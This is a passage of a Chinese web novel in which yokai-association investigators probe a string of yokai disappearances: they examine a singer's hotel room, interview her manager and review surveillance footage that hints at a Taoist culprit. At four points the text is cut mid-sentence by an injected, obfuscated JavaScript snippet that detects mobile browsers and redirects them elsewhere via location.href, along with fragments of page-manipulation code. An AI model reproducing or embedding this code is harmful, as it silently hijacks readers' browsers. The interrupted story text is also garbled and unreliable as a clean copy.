江元白把最后一口面吃完,花了大半小时将所有的东西收拾整洁。 他一边慢条斯理地抹着护手霜,一边对秦巡道:“案件大致情况怎样?” 秦巡知道江元白昨天大概已经看过文件了,不过余一安应该还并不是很清楚。 他整理了下语言,缓缓道:“第一起案件是在三月五号发生的。” “失踪者是一位雀妖,三月九日朋友发现不对并报案。” “第二起案件是一位鼠妖,是三月十一日报案。” …… “第十二起是近一周发现的。” “失踪者是一名猴妖,在五月二十三日发现失踪。” “最后一起案刚好是昨天来报的案,失踪的是一名黄莺妖。” “黄莺妖?” 安安静静听到这里的余一安抬起头,急急道:“是叫莺九吗?” 莺九是余一安以前在小鹿儿山上比较要好的伙伴,在三年之前告别她去了人类社会闯荡。 “好像是……对,是叫莺九。”秦巡回答道。 “你认识?” 江元白微皱着眉看向余一安。 余一安点点头,心情突然有些低落,呆毛都垂了下去。 她给江元白二人讲说莺九是她的朋友。 江元白看了她好几眼,欲言又止,最后咳了两声。 秦巡倒是叹了口气,安慰道:“说不定还有救。” “?” 余一安总感觉更担心了。 “这些案件的共同点,也就是目前工作的棘手之处,”秦巡见他们没有疑问,就接着开口:“就是这些失踪者无一例外都像是凭空蒸发,没有留下任何可供追查的线索。” 余一安想了想问道:“会不会是他们自己离开的呢?” “这是有可能的,”秦巡赞许地点点头,“我们也这样猜想过。” “但是经过调查,我们没有发现任何能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376593|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐证这一推测的证据。”秦巡补充道,语气中带着一点凝重。 “而且妖族那边也给出过消息,他们并未在妖界发现其中任何一位失踪者的踪迹。” “另外,值得注意的是,”秦巡环视一周,“根据失踪者亲友的证词,这些失踪者们在前一天还在为接下来的事务做准备,并且表现完全正常,无任何异样。” “但是如此多妖怪接连失踪,并且案件特征高度一致。” “我们怀疑,这些案件极有可能是同一人或同一犯罪团伙所为。” “并且,”秦巡不动声色地看了眼余一安,“更关键的是,我们有理由认为,失踪者与作案人之间存在某种关联,极有可能是相识的关系。” “不过,”他话锋一转,“我们也并没有找到任何能够证实这一推测的直接证据。” “根据我们调查,这些失踪者之间并无交集,并且他们的社交圈内也没有发现任何共同联系人。” “这也没有,那也没有,你们调查了三个月就这么点东西?” 江元白听完皱着眉道。 秦巡一脸无辜,摊手道:“妖怪协会也就这么点能力,你知道的。” 江元白无言以对。 正常来说,在一个普通人类失踪案中,通常都会考虑是否绑架、诱拐等可能性,或者是否使用药物、高科技手段等作案手法,但是对于拥有自保能力的妖族来说,这些强制性手段导致他们失踪可能性是极低的。 当然,也不能完全排除一些修为高深的妖族,或是一些实力强大的道士涉案的可能性。 不过他们调查过失踪者最后一次出现的地点,并没有发现任何妖术或道术施展的痕迹。 并且妖族也给出消息说,近三个月来并没有任何大妖下过山的记录。 基于这些调查结果,目前他们把破案重点锁定在熟人犯案的可能性上。 “所以,我们之前的方向都在排查失踪者的关系网,寻找可能的突破口。” 最后,秦巡做了总结。 江元白点了点头。 余一安则有点反应不过来,脑子里还在想着这其中的关系。 “附近监控有排查过吗?”江元白问道。 秦巡点点头,道:“协会已经全面调阅了监控记录。有七位失踪者最后一次出现在监控中的画面,都处于失踪前的状态,并未发现异常行为。” “另外六位则是显示他们单独离开后,就再未回来。” “对了,”秦巡忽然想到什么,“这些失踪者并没有遭受任何财产损失。” 也就是说这个作案人并不图财。 “除了线下,线上账户有过变动吗?”江元白追问道。 秦巡摇摇头:“所有失踪者的线上账户都保持着正常状态,没有任何可疑的资金流动。” “其实还有一些像静电吸附、激光光谱分析的高科技手段可以调查到更多细节,但是我们协会没这实力。” 他无奈地补充道。 终究还是妖怪协会太穷了。 江元白也知道这个情况,他修长的指节无意识地轻叩桌面,沉吟片刻后道:“我们稍微准备一下,下午就去最近一起案件的现场实地勘察。” 案发时间越短,现场保留的细节也就越多。 他打算去时间最近的案发现场看看能不能找到一些突破口。 目前最近的失踪者也就是余一安的朋友——莺九。 5. 担心朋友的妖怪 莺九在下山的妖怪中混的算是比较好的,由于她外貌出众,嗓音清灵动听,受到了非常多粉丝的喜爱。 现在在外面也算是一个比较火的小歌星。 失踪前,莺九正在参与一档综艺节目的录制,按照节目组安排,在开始录制的前一天晚上她住进了指定的五星级酒店。 然而就在次日早晨,经纪人来叫她起床时,房间内却空无一人。 四处搜寻之下都无果。 不得已之下,经纪人与节目组一起向警方报了案。 案件上报以后,由于莺九特殊的身份,于是案件被移交给妖怪协会全权负责。 十三点零九分。 此时,调查三人组出现在了莺九失踪前最后住的酒店房间门口。 1907号房间。 秦巡用酒店前台给的万能房卡打开了房门。 由于节目组与酒店方提前达成了协议,房间内基本维持了原样,并没有被打扫或者破坏。 江元白环视了一圈,目光落在了最显眼的大床上。 床上的被子凌乱地摊开,雪白的床单上还有一些有人躺过的褶皱,枕头上还能看见几根黑色的头发。 可以猜测出失踪者并不是有计划地离开,更像是临时起意离开。 他又走到书桌前,一本摊开的书本还摆在上面,旁边是一杯已经冷却的咖啡。 “大晚上喝咖啡?” “也不怕睡不着。” 秦巡在一边吐槽着。 余一安却不赞同地反驳,道:“不会睡不着,莺九睡得最快了。” 江元白没理他们,他戴着手套仔细翻看着那本摊开的书。 这本书正好停留的页面快接近尾声的位置。 书页平整,没有折角,书上也并没有书签或任何标记一类的东西,就像是这本书的主人正打算一口气看完它。 由此来看,对方似乎是做好了随时回来的准备。 当然也不排除失踪者走得匆忙的可能性。 他们又在整个房间内全面搜查了一番,也只找到了莺九打开着的行李箱。 行李箱里面仅仅是一些衣服饰品和化妆品,并没有什么可疑物。 除此之外基本没有什么大的收获。 估计是莺九入住酒店时间太短,并未有太多的生活痕迹。 就在余一安一脸茫然不知道要干什么的时候,江元白突然蹲了下来。 “你们看,”他忍着心里的不适,指着鞋柜里放着的一双鞋,道:“这应该是失踪者日常穿着的鞋。” 二人齐齐凑过去观察,江元白指的是一双普通的米色平底鞋。 鞋面有轻微的折痕,内侧也能看到经常使用时形成的压痕,鞋底的边缘也有明显的磨损痕迹。 看得出确实经常穿。 余一安依旧一脸懵。 秦巡则吐槽道:“我看网上不是说,那些明星的鞋不是穿一双丢一双吗?” 他决定再也不信网上那些胡乱传言了。 “秦巡,”江元白忽然开口道:“你下去问问前台服务员,酒店会提供拖鞋吗?” 闻言,秦巡看了他一眼,然后走到床头柜前,拿起酒店客房电话按下了快捷拨号键。 短暂的等待音过后,电话那头传来了前台客服甜美的声音。 “您好,这里是美好酒店前台,很高兴为您服务。” “是这样的,我想问一下你们酒店会提供拖鞋吗?” “是的先生,我们酒店每间客房都配备了两份一次性拖鞋,放置在衣柜下方的抽屉里。” “好的,谢谢。” “不客气,祝您入住愉快!” 秦巡“啪”的一声挂断了电话。 没住过酒店的穷鬼江元白:“……” 没见过什么世面的余一安:“哇偶,好厉害!” 秦巡摊手,一脸无辜。 “你都听到了。” 江元白瞥他一眼,面色臭了点。 他按照客服说的拉开了衣柜下方的抽屉,看到里面果然只剩下了一双。 很显然,另一双被莺九穿走了。 是什么原因,让她连鞋都不换,直接穿着一双拖鞋就外出了。 要么是她认为很快就能回来,要么是情况紧急得连换鞋的时间都没有。 这个发现再一次印证了江元白方才的推测。 江元白给两人说出了自己的推测:“莺九很有可能是主动外出,但随后遭遇了意外。” 这个推测和妖怪协会之前对前面的失踪案的调查结果基本大致相同。 听到这里,余一安一脸担忧道:“莺九会出事吗?” 她又使劲晃晃脑袋,小声道:“不行不行,不能乱想。” 江元白看过去,就看到傻鱼一脸认真对着他说道:“莺九胆子很小的,不会随便乱跑的。” “我知道了。” 江元白垂下眸,大约是听了进去,不知道在思考什么。 不一会儿他又抬起头,道:“秦巡。” “嗯?” “协会那边,酒店附近区域的监控录像都调取到了吗?” “我问问……嗯还没有,目前还在收集中,估计要今晚才能全部到位。” 江元白点点头,沉声道:“刚刚的发现都记录下来了吗?” “都记了。”秦巡拍拍手中的记录本。 “行。”江元白垂眸思索着开口道:“你记得提前去申请一下住所搜查令。” “我打算明天搜查莺九的住处。” 秦巡点点头,表示知道了。 忽然门铃响了,打破了屋内的气氛。 余一安离门近,伸手开了门,发现门外是一个矮个子女人,拿着一个手提包,面色略有些憔悴。 蒋云看着屋内稍显年轻的三人,一个穿着汉服的女孩,一个长得特别好看的青年和一个穿着道袍的男人。 这是在搞什么角色扮演现场吗? 她转头又确认了好几次门牌号,才有些迟疑地开口道:“请问你们是来调查莺九失踪的吗?” 余一安下意识点了点头,秦巡走过去出示了证件让对方确认他们的身份后,然后让女人进来。 “你先进来吧。” 然后他压低声音和余一安解释道:“这是莺九的经纪人蒋云,我们先前约她来做补充笔录。” 他们约定的时间是下午四点半。 差不多刚刚好。 余一安回想了下,这才想起来他们上午准备的内容里确实有这个,只不过她当时脑子里都是莺九失踪的事情,并没有太注意。 蒋云坐在椅子上,精致的妆容也遮掩不住脸上的疲惫。 调查组三人则坐在她对面,江元白负责询问,秦巡负责记录,而余一安就充当吉祥物。 江元白第一次做询问,昨天提前去做了点功课,了解了下大概流程。 他冲对方点了点头,问询开始。 “蒋云女士,感谢您再次配合我们的调查。今天我们请您来主要是想进一步了解一些细节,请您尽量回忆并提供准确信息。” 蒋云微微颌首。 “作为莺九的经纪人,能否请您再次详细说明一下当天的经过?” 尽管已经是第二次陈述,但是蒋云还是耐心地重新复述了一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376594|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音清晰,条理清楚,所言内容与之前档案上面记载的内容基本一致。 江元白听完后不动声色,继续道:“能麻烦您回忆一下,最后一次见到失踪者的具体时间?” 蒋云皱着眉,似乎在仔细回想,过了一会儿后略显迟疑地开口道:“大概是晚上十一点左右。” “抱歉,我可能记得不是很清楚。” 她无意识地咬了咬下唇,有些懊恼的样子。 “不过我能确定的是绝对没有超过十二点。” “莺九……”蒋云回忆了下,道:“莺九喜欢熬夜,又没有自制力,我离开前还反复叮嘱过她必须在十二点前睡觉。” “因为第二天还有工作。” 她有些懊悔又自责地想:当初她就不应该接这档节目。 “莺九女士失踪前,她的言行举止是否有异常?” “没有,”蒋云一边回想一边摇摇头道:“莺九很正常,还和我讨论工作的事。” “她对录制这次综艺节目很期待,这是她第一次录制综艺,而且为此准备了很多。” “那么,近期她是否与什么人发生过冲突?”江元白继续追问。 “没有,除非必要情况,莺九一般并不喜欢和别人接触,我从来没见过她发生过任何冲突事件。” 对比别的艺人来说,莺九是一个非常令她省心的艺人。 想了想她又补充道:“莺九性格很好,大大咧咧的,有事也不会放在心上,大家都挺喜欢她的。” 见秦巡记录完了,江元白接着开口:“她平时有和什么奇怪的人接触过吗?” “暂时想不起来,”蒋云双手交握,道:“据我所知,除了工作方面,莺九几乎并不与其他任何人来往。” “我总感觉,”蒋云的表情有些困惑,“她似乎在刻意避免与人接触。” “但是她的性格又并不内向。” 这时,一直认真坐着倾听的余一安忽然开口道:“莺九是觉得人类太狡猾了,会骗她。” 蒋云一愣:“你认识莺九?” 还没等余一安说话,江元白就打断了他们:“询问还没结束,你们等会再聊。” 余一安只好瘪瘪嘴,闭上嘴乖乖地坐好。 秦巡笔动得飞快,刷刷地做着笔录。 “您是否知道她一开始是怎么从事这项工作吗?” 蒋云先是愣了一下,似乎没想到他会问这种问题,随即组织好语言答道:“她三年前是在一家酒吧里驻场。” “后来她人气慢慢上来,被我们公司发现后,于是签了下来。” “从那以后就一直由我负责她的经纪事务。” “那家酒吧叫什么?” “我想想……好像叫蓝调。” 说完她又补充了一句:“就在本市的老城区,不算很出名。” 江元白点点头,让秦巡着重记下这个信息。 最后他又着重问了一些细节问题,蒋云都一一详细解答了。 “我们今天的询问就到这里,请您核对一下笔录内容,如果没问题,就麻烦签字确认一下。” 江元白想问的基本问完了,做着过程中最后一步工作内容。 秦巡依言递出自己整理好的笔录。 蒋云熟练地接过来,确认无误后,直接签了自己的名字。 “谢谢你们,请一定要找到莺九。” 蒋云最后郑重对他们道。 两年来,她和莺九建立起了不浅的感情。不管是从事业发展还是从私人情感上来讲,她都是最不希望莺九出事的那个人。 这两天,她压力非常大。 6. 没有常识的妖怪 送走蒋云后已经是快六点了,三人组一起去了酒店附近的一家餐馆。 餐馆并不大,但是装修不错,氛围安静和谐。 担心出现什么意外,于是他们要了间包厢。 很快,菜上齐了。 考虑到余一安的食量,江元白多点了几道菜,并且每道菜都选择了大份。 看着摆得满满一桌子的各色菜品,秦巡瞪大了眼:“这么多?喂猪呢?” 江元白闻言没说话,心想:“没喂猪,喂鱼。” 余一安就没想那么多了,她满眼放光,话也没说一句,直接进入了狂吃狂吃的状态。 像是突然想起来什么,江元白有些迟疑地对秦巡道:“报销吧?” 秦巡霎时有些无语地点了点头。 江元白这才放下心来。 除了余一安,另外两人都习惯食不言寝不语,于是一时间整个包厢都是余一安哼哧哼哧吃饭的声音。 等二人无意中抬起头来,就发现余一安旁已经堆了四个空碗。 秦巡忽然就明白了点这么多菜的原因。 待两人差不多吃了七八分饱,就停了下来,只剩下余一安一只妖还在努力奋斗。 趁着空闲,江元白就和秦巡讨论起了莺九的案件。 “你有什么看法?”江元白先问。 “感觉和前面的案件一样,大概也是熟人作案。” “这些妖怪是私底下有共同认识的人吗?” 秦巡有些纳闷。 “我们要不要去找找那些还没回妖族的妖打听一下?” “说不定有什么进展。” 江元白若有所思地点点头,道:“我的推测和你差不多,不过我更倾向于作案者不是人,而是妖。” 他接着解释道:“蒋云提到莺九不喜欢与人深交,但是又说她性格并不内向,这说明莺九对人有非常大的警惕性。” “所以,能让她放下防备,并且能够十分信任的,极有可能是妖。” 竖着耳朵悄悄听他们说话的余一安忽然插话道:“莺九对每个妖都很好的。” “因为有的人类对妖不好,所以莺九就没那么喜欢人类了。” 她想起来以前在山上,几乎所有的小妖们都喜欢和热心善良的莺九当朋友,莺九经常会倾听小妖怪们的烦心事。 其中说的最多的就是小妖怪们在人类社会常常会被一些狡诈的人类欺骗的经历。 这也就给莺九留下了人类大都十分狡猾的印象。 江元白闻言,忽然对余一安道:“你们妖族来我们这时,一般会走什么程序?” “程序?” 余一安腮帮子一鼓一鼓的,眼中满是疑惑。 “就是……”江元白想了想,解释道:“就是它们是怎么来人类社会的?” “我想想,”余一安眨巴着眼睛,努力转动脑筋回想着。 最后在两双眼睛的注视下等了半天,终于憋出来了一句干巴巴的“我忘了”。 秦巡忍不住叹了口气。 余一安顿时有些挫败,她感觉碗里的饭都没那么香了。 这也不能怪余一安,她确实很少关注其他妖怪的事情。 江元白却是意料之中,只接着问道:“那你还记得自己是怎么来的吗?” 这个余一安就知道了,她顿时精神起来,道:“是一个螳螂妖送我来的。” 虽然她并不知道那个妖怪的名字,只知道是个螳螂妖。 于是余一安就把螳螂妖把她半路抛下的事情说了。 说完依旧不开心,又在心里把那个玩忽职守的螳螂妖骂了一顿。 看着对方气哼哼的模样,江元白也有些好笑,道:“那莺九离开之前,有和你说什么吗?” “啊……”这个问题把余一安苦恼住了,她憋着小脸,使劲回想着。 见她这么努力,江元白也没打扰她,安静地等待着。 这时秦巡手机显示有来电,他拿着手机出去了。 就在他走后不久,余一安眼睛一亮,道:“我想起来了,莺九说,如果我下山的话,让我一定要去找她!” 不过她没从没打算过下山,因此也没有太把莺九的话放在心上。 说完余一安明亮的双眼又黯淡了下去,“不过,莺九都失踪了。” 江元白看了她几眼,想说什么,最后还是闭上了嘴。 不过,案件到目前依旧没有太大进展。 余一安倒是没想这些,她很快调理好了自己的心情,又对着还剩下的饭菜开动了起来。 此刻秦巡走了进来,对他们说有事需要处理后就先离开了,此时就剩下了余一安和江元白一妖一人。 江元白在脑中里面过着案情,忽然不知道哪根神经搭错了,想起来个事情。 他犹豫了片刻,还是开口道:“喂傻鱼……” “?” 余一安双眼顿时充满了大大的疑惑。 傻鱼?是在叫她吗? “咳咳,”江元白忽略掉这个细节,接着道:“你们妖族是怎么联系其他人的?” “写信呀,”余一安奇怪地看了他一眼,“你们不是吗?” “……” 这会反而是江元白愣了下。 不是,妖族还这么原始吗? 虽然江元白是妖怪协会的成员,但是自加入起基本从没怎么和妖怪接触过,当然也并不太了解妖族内的事务。 “信鸟送信很快的,从这里到小鹿儿山,”余一安咽下最后一口饭菜,手指比划了下距离,“应该半天就到了吧。” “不过莺九从下山后就没给我寄过信。” 想到这,她又有些不开心了。 还好桌上的饭菜刚刚吃完了,不然就没心情吃了。 “我们不写信,”江元白总感觉自己说出来的话很奇怪:“我们用手机互相联系。” “手机?”余一安好奇。 “就是这个。”江元白举了举自己手上的手机。 余一安盯着对方手中忽然亮起来的东西,瞪大了眼:“哇——” 这个叫做手机的东西,她自从来到人类社会后就经常在几乎所有人的手上看到过。 不过她好奇心并没有那么重,再加上她也只是在人类界呆一段时间,所以也就没有想过去了解那是什么。 “那你们怎么用这个传信啊?”余一安小小的脑袋怎么都想不出来这么小个东西怎么能跑那么远的距离。 “就是,”江元白努力组织着措辞,道:“你先在手机上面输入你要传达的信息,点击发送后,另一边就能够立马接收到。” “听起来好厉害!”余一安一脸惊叹,随即好奇道:“那在哪里能得到手机啊。” 她也想要。 余一安脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376595|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里计划着到时候要两个,她一个,大祭司一个。 这样她和大祭司就能天天联系了。 想到这里,余一安突然发现她忘记给大祭司写信了。 完了,大祭司不会生她的气吧。 余一安的脸蛋忽然就皱了起来。 江元白忽略掉她过于丰富的表情,回答着她的问题:“出门,右转。” “啊?” 然后江元白就带着余一安出了门,右转进了一家手机店,最后余一安收获了两个一模一样的手机。 只不过一个是红色,一个是黑色。 红色是余一安的,黑色是她准备送给温再玄的。 余一安决定今晚就回去给大祭司写信,然后把手机一起寄过去。 手机注册后,江元白就把自己、秦巡还有苍阳华的联系方式输入了进去,并且告诉余一安有什么急事就拨打这几个号码。 没急事就发信息。 顺便还嘱咐了一句有事最好找会长,不要找他。 就这样余一安完成了融入人类社会的的第一步。 等到晚上秦巡到达江元白家中的时候,就看到了这样一幅画面。 江元白目不转睛坐在椅子上看着电脑中的不知道几倍速的监控画面,而余一安则坐在电视屏幕面前看着动画片。 秦巡看了几眼动画片,发现是一部儿童财商教育科普片,有些一言难尽地看向江元白:“怎么看这个?” “我给她放的。” 说到这个,江元白感觉更是一言难尽。 之前余一安动不动就掏出来一沓钱,他虽然感慨了下妖族真有钱,就没怎么放心上。 结果昨天他带着余一安选好手机准备付钱时,余一安当时刷刷刷从挎包里面掏出来和之前那沓钱一模一样的好几沓。 顿时整个店里面的人都震惊了。 吓得江元白赶紧用手机付了账离开了。 他这才反映过来余一安大概并不怎么清楚人类社会的金钱概念和价值。 然后他就找了这部经典的儿童科普动画片让她自己看。 毕竟总不能让他来教吧。 还好余一安虽然脑子有点傻傻的,但是好歹智商没啥问题,动画片里面的内容基本都能看懂。 不过江元白也没详细和秦巡说,只随便糊弄了下就让对方过来看监控画面。 “你今晚发过来的监控录像我都看完了。” 秦巡感慨了下对方的速度,但是也没有怀疑江元白的效率,道:“怎么样?有收获吗?” “暂时没有。” “不过我算是知道了为什么蒋云不知道莺九离开的时间了。” 江元白也不等对方发问,就继续道:“酒店里面的监控,包括走廊、电梯、大厅和门口都没有显示莺九离开的画面。” “那她?”秦巡一愣。 “我推测是从窗户跳出去的,”江元白冷静分析,“不,应该是飞出去的。” 毕竟莺九的原型是黄莺。 秦巡恍然大悟。 “不过,”他有些迟疑,道:“一只鸟的话,监控也基本找不到吧。” 城市里面那么多鸟,谁知道哪只会是莺九啊。 不过,他有些好奇,妖怪变成原型后,衣服也还穿在身上的吗? “不,”江元白摇摇头,伸手指向屏幕上的画面,“你看这里。” 7. 有钱的妖怪 秦巡看向江元白指向的地方。 监控画面上显示的是一个极其偏僻的角落,在夜晚下显得极为昏暗。 随着江元白的点击,画面开始播放。 只见画面上忽然出现了一个人的背影,因为天色太黑,看得影影绰绰,极为不清晰。 背影大约只出现了两秒左右。 “这是莺九?” 秦巡有些怀疑,这个影子他甚至不能看出来是男是女。 “你再看,”江元白将屏幕亮度拉高,好让他看的更清晰些,“长发,浅色裙子,和蒋云说的一模一样。” 其实蒋云说的是浅绿色裙子,只是因为天色太暗,只能看出来是一身浅色的。 “这是莺九!” 余一安不知道什么时候凑了过来,看着屏幕上的画面,高兴道。 “莺九头上扎的绑带是我送给她的!” 那条绑带和余一安头上扎的那条红绳是同一款。 秦巡闻言看去,画面被江元白依言放大特写,能够看到那个背影的头发浅浅的扎了起来,一条和余一安头上红绳极为相似的绑带垂了下来。 因为画面太黑,秦巡非常仔细才能大概看得出来。 他怎么记得科普说金鱼不是近视吗?怎么这都能看清楚? 可能妖怪比较与众不同吧。 江元白没说话,只是又把那个片段前后的内容放了几遍,双眼紧盯仔细观察,不放过一丝一毫的细节。 忽然,他握着鼠标的手一顿,在一个画面停了下来。 “你们看。” “怎么了?” 余一安和秦巡齐齐看了过去。 “看这里。” 江元白先慢速放了一遍视频,随即在关键时刻停了下来,并直接放大。 “这是?”秦巡瞳孔微缩,因为屏幕亮度被调高,他能十分清晰地看到一块黑色的布料一闪而过,上面隐约可见白色的纹路。 这个纹路,他再熟悉不过。 这是每件道袍上的都会绣上的道纹,一般来说会有一点凝神静气的功效。 “是道界那些人在捣鬼?” 他面色一沉,露出一点厌恶的神色。 在他印象中,道界里的那些道士,大都道貌岸然,虚伪至极。 这也正是他加入妖怪协会的原因之一。 “是坏道士!”余一安看到这里,立马气愤地瞪着屏幕画面,“是他们抓走了莺九吗?” 余一安在下山前,被温再玄叮嘱了多次山下的道士大多对妖族抱有恶意,有些道士动辄对妖怪抽筋剥皮,千万不要招惹。 因此在余一安心里,道士就等于坏蛋的代名词。 所以她才在秦巡冲上来的时候掉头就跑。 不过虽然江元白也是道士,但是余一安却觉得他是个好道士。 因为江元白会给她吃好吃的,还不计较她偷吃了他的东西。 江元白没有发表意见,虽然脸色看上去也不太好。 不过好歹也算是找到一个新的突破口了。 秦巡沉声对江元白道:“需要这会派人去调查吗?” “先不用,”江元白沉思片刻,道:“协会里面还有好几个道士。” 简而言之,他担心打草惊蛇。 毕竟他也不能保证协会里面会不会有道界那些人的探子。 “……” 秦巡顿时脸色更不好了。 他感觉下次见到那些同事都不能正常打招呼了,因为他现在满脑子都在猜想这几个同事中哪个会是那群人的走狗。 妖族和道界长期对立,因此妖怪协会的成立受到了绝大多数道士的强烈抵制,直到目前为止,也仅仅只有七位道士加入了妖怪协会。 在道界人眼中,这七个人无异于叛徒。 秦巡给懵懂的余一安解释了其中的关系,余一安明白以后顿时心中愤愤不平起来。 “这些道士好坏!好讨厌!” “诅咒他们天天饿肚子!” 她气鼓鼓地嚷嚷。 秦巡也在旁边跟着附和。 江元白见状本来有些压抑的内心突然轻松了几分。 等余一安“咒骂”完了他才接着开口道:“秦巡,你先把这个监控处理一下,然后去联系协会让人去查一下这个地方。” 看看附近是否有什么留下的线索。 “好。” 秦巡点点头,记录了下来接下来的工作内容。 “对了,猴妖失踪的监控结果有进展了吗?” 江元白接着道。 “我正要和你说这个来着。” 秦巡整理好措辞才开口:“猴妖是在游乐园员工宿舍失踪的,这两天技术人员把拿到手的监控都查看过了。” 猴妖名叫侯候,在一家游乐场内工作,他的工作内容是扮演一名逗游客开心的小丑。 侯候生性开朗活泼,人缘极好,在同事和游客中极受欢迎。 他极其喜爱这份工作。 侯候平时住在乐园的员工宿舍内,据舍友回忆,侯候失踪的前一天晚上还在宿舍睡觉,然而第二天早上他一起来,就发现侯候的床铺空空如也。 一开始舍友还以为侯候提早出门上工了,然而上班时间过去半小时仍然不见人影,大家这才发现不对劲。 这时无论他们怎么都联系不上侯候,拨打的电话无人接听,游乐园调取了所有监控,但依旧找不到侯候的任何踪迹,于是无奈之下选择报警。 “经过技术人员多次核查发现,他们发现有好几个监控点的画面似乎被人蓄意篡改过。” 不等江元白说话,秦巡就接着道:“经过对比,能够确认被篡改的时间集中于凌晨2点23分到2点41分的区间。” 也就是说侯候在这十八分钟内离开了乐园,并且被人为抹去了行为轨迹。 “仅仅是猴妖离开的行为似乎并不需要刻意去抹除痕迹,”江元白目光微凝,继续冷静分析道:“这本身就能说明问题。” “单纯的离开并不需要如此大费周章,这只能证明,监控画面里面必定隐藏着更关键的信息——某个幕后人不想让我们看到的存在。” “那个接头人?!” 秦巡听懂了他的意思,霎时瞳孔睁大,脱口而出。 “有人在刻意掩盖与侯候接触的神秘人?” 余一安在一旁听了半天听的不是很明白,见状眨巴眨巴眼问道:“是刚刚那个坏道士吗?” “有可能,”江元白眉心微蹙,“但是也不排除其他潜在可能性。” 这样看来,几乎所有的线索都锁定在了那个神秘人物——无论是人还是妖,他都在线下与失踪的妖怪们有过直接接触。 “猴妖最后出现在监控的位置在什么地方?”江元白问道。 “是在乐园后山。” 猴妖工作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376596|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游乐园地处偏僻,靠山而建,乐园深处就是一片片荒野山林。 而侯候的踪迹就在那里消失。 江元白伸手按了按眉心,道:“你让协会抽点人手,对后山那片区域进行一次初步排查。” 秦巡刚要记录时,江元白又阻止了他的动作:“算了。” “你调整一下安排,我们明天下午亲自去调查。” “记得别透露出去。” 秦巡看他一眼,想通了其中的关键后点了点头,道:“还是你谨慎。” 余一安倒是非常真诚地夸奖对方:“哇——小道士你好厉害!” 江元白闻言发出了一声微不可闻的轻哼声,没说话。 …… 次日清晨,依旧八点钟左右。 江元白黑着脸打开了房门,看着哐哐敲门的余一安,深吸了口气,啥都没问,直接让对方换了鞋进来。 然后十分自觉去厨房煮了两碗西红柿鸡蛋面。 “吃。” 江元白面无表情,十分言简意赅地将手里的大碗放到了余一安面前。 碗中金黄的鸡蛋裹着软烂的番茄,汤汁红润微稠,细白的面条浸润其中,点缀着翠绿的葱花,酸甜的香气扑鼻而来。 闻一下,余一安就感觉肚子叫得更欢了。 不过罕见的是她这次竟然没有直接埋头就吃,反而看向江元白,一副颇有些不好意思的模样。 只见余一安十分熟练地伸手从挎包里拿出了一沓钞票。 江元白刚准备十分熟练地拒绝并且让对方收回去。 就看到余一安一沓接一沓地掏着,最后在江元白略有些麻木的眼神中竟然掏出了近二十沓的现金。 一沓应该是一万,这里大约有整整二十万。 他甚至还有心思猜测这挎包怕不是传说中的芥子袋,能装下这么多东西。 只见余一安挠挠脑壳,嘿嘿道:“大祭司说不能白拿你的东西,这是大祭司给我全部的钱了,不知道够不够。” 她昨晚上和温再玄写了信,先是就忘记写信报平安一事承认了自己的错误,接着就分享了自己下山来遇见的所有事情。 她把信捎带手机一起让信鸟带回去,今天早上就收到了温再玄的回信。 还好大祭司并没有在信里责备她这么久没写信回去,只说了不要白拿人家的东西,平白占人家便宜。 毕竟余一安这两天吃的喝的、还有买两个手机花的钱都是江元白付的。 看着余一安大大咧咧对面前一大堆钱毫不在乎的样子,江元白顿时生出了一种微妙的情绪——大约是穷人看到有钱人在大街头上随手撒金币的感觉吧。 想了想,江元白也没再拒绝,毕竟他也不能真的做无私奉献的冤大头。 他从小山般的钞票里面抽出了一沓,缓声道:“之前的花费这一点就够了。” “多出来的就先当你以后的餐费吧。” 这样应该是最好的结果。 至于桌子上这一堆他每次看过去都感觉炫目得有些刺眼的现金,江元白考虑了片刻,道:“我给你办张银行卡存起来吧。” 一般来说,正规渠道到人类界的妖怪都会办一张人类社会通用的身份证,能够记录到档案中的那种。 当然,里面的信息大多是杜撰的。 所以妖怪来到人类社会,只要不干坏事,或者暴露自己,都是能够像正常人一样生活的。 8. 